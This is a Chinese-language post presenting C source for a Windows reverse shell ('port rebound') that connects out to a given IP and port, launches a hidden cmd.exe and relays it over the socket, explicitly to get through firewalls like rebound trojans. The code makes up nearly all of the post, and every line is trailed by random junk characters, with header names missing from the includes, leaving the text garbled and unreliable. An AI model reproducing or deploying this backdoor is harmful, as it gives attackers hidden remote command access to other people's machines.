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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $&~moAl  
ouE/\4'NB  
/* ============================== Kt#_Ln_6  
Rebound port in Windows NT M(/ATOJ(  
By wind,2006/7 YstR T1  
===============================*/ (xdC'@&  
#include SIridZ*%  
#include $Vp*,oRL  
.US=fWyrb  
#pragma comment(lib,"wsock32.lib") ~~\C.6c#  
!7hjA=0  
void OutputShell(); v8} vk]b  
SOCKET sClient; hl]q6ZK!6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /wI"oHZd  
K2> CR$L  
void main(int argc,char **argv) { )-8P  
{ !sG# 3sUe[  
WSADATA stWsaData; (hJ&`Tt  
int nRet; ;p+[R+ )  
SOCKADDR_IN stSaiClient,stSaiServer; [eO^C  
:;hz!6!  
if(argc != 3) W=:AOBK  
{ C<Z{G%Qm  
printf("Useage:\n\rRebound DestIP DestPort\n"); U EjP`  
return; ;aN_!! r  
} 7 'q *(v  
QdrZi.qKH  
WSAStartup(MAKEWORD(2,2),&stWsaData); smUSR4VK  
(QTF+~)  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x:K~?c3  
:N^+!,i  
stSaiClient.sin_family = AF_INET; @P7'MiP]K  
stSaiClient.sin_port = htons(0); yv4x.cfI2W  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l zFiZx  
gy}3ZA*F  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,Vi_~b  
{ \p(S4?I7  
printf("Bind Socket Failed!\n"); .b,\.0N  
return; nnyT,e%  
} Gd 4S7JE  
AwZ@)0Wy  
stSaiServer.sin_family = AF_INET; 05 6K)E  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4;6"I2;zfG  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); jlBsm'M<m  
t{] 6GlW  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ww{k_'RRJ  
{ hl:Ba2_E +  
printf("Connect Error!"); p6- //0qb  
return; PA^*|^;Xh  
} B&_:20^y~  
OutputShell(); ]Ozz"4Z  
} #`_W?-%^  
2U[/"JL  
void OutputShell() >GIQT ?O6  
{ ? X8`+`nh  
char szBuff[1024]; r ~{nlLO}  
SECURITY_ATTRIBUTES stSecurityAttributes; P'Y(f!%  
OSVERSIONINFO stOsversionInfo; (f&V 7n  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Qr R+3kxM  
STARTUPINFO stStartupInfo; |B (,53  
char *szShell; ;j T{< Y  
PROCESS_INFORMATION stProcessInformation; N6[Z*5efR  
unsigned long lBytesRead; ~aotV1"D  
Kh3i.gm7g  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |KJGM1]G  
Ov(k:"N  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :7(fBf5  
stSecurityAttributes.lpSecurityDescriptor = 0; vVBWhY]  
stSecurityAttributes.bInheritHandle = TRUE; t 9(,JC0  
Ue9d0#9  
yFAUD ro  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w?D=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z%?>H iy'o  
Idu'+O4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #`@)lU+/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ):Fg {7b]n  
stStartupInfo.wShowWindow = SW_HIDE; P=}l.R*1G  
stStartupInfo.hStdInput = hReadPipe; A6KP(@   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; # 9bw'm  
pp|$y\ZzB  
GetVersionEx(&stOsversionInfo); %5L~&W}^"  
&4wSX{c/P  
switch(stOsversionInfo.dwPlatformId) k6 OO\=  
{ ;- i)}<  
case 1: }Q[U4G  
szShell = "command.com"; T pCXe\W  
break; ]Y,V)41gCE  
default: "vYjL&4h  
szShell = "cmd.exe"; 1&h\\&ic  
break; Zc";R!At  
} ?z.  Z_A&  
,wr5DQ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &OvA[<qT  
F`;q9<NYRW  
send(sClient,szMsg,77,0); pvWNiW:~k  
while(1) U7LCd+Z 5X  
{ )1R[~]y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); k(`>(w  
if(lBytesRead) :S`12*_g"  
{ )"Ujx`]4r  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); mJ8EiRSE  
send(sClient,szBuff,lBytesRead,0); p*jH5h cy  
} _or_Vw!  
else fG?a"6~  
{ 0{!-h  
lBytesRead=recv(sClient,szBuff,1024,0); 3W[||V[r]<  
if(lBytesRead<=0) break; s4Jy96<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %f\j)qw  
} ZXj*Vu$_4  
} P(\x. d:  
ZRGe$HaU  
return; RP^L.X(7^  
}
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